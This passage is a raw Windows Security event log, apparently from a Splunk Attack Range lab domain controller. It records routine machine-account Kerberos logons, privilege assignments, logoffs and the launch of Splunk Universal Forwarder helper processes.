Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30B2C9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:12:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255444 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x30B281 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:12:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255443 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30B281 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:12:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255442 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x30B173 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62592 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:12:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255441 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30B173 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:12:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255453 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:12:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255455 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x968 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:12:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255454 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x558 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:12:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255457 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x32c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:12:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255456 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1084 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:12:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255458 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1348 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:12:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255459 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30B33B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:12:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255462 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30E7AE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:12:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255461 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x30E7AE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62605 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:12:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255460 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x30E7AE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:13:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255463 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:13:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255464 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcfc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:13:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255466 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:13:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255465 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:13:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255468 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x904 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:13:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255467 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x137c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:13:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255469 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:13:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255472 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x311D89 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:13:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255471 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x311D89 - Linked Logon 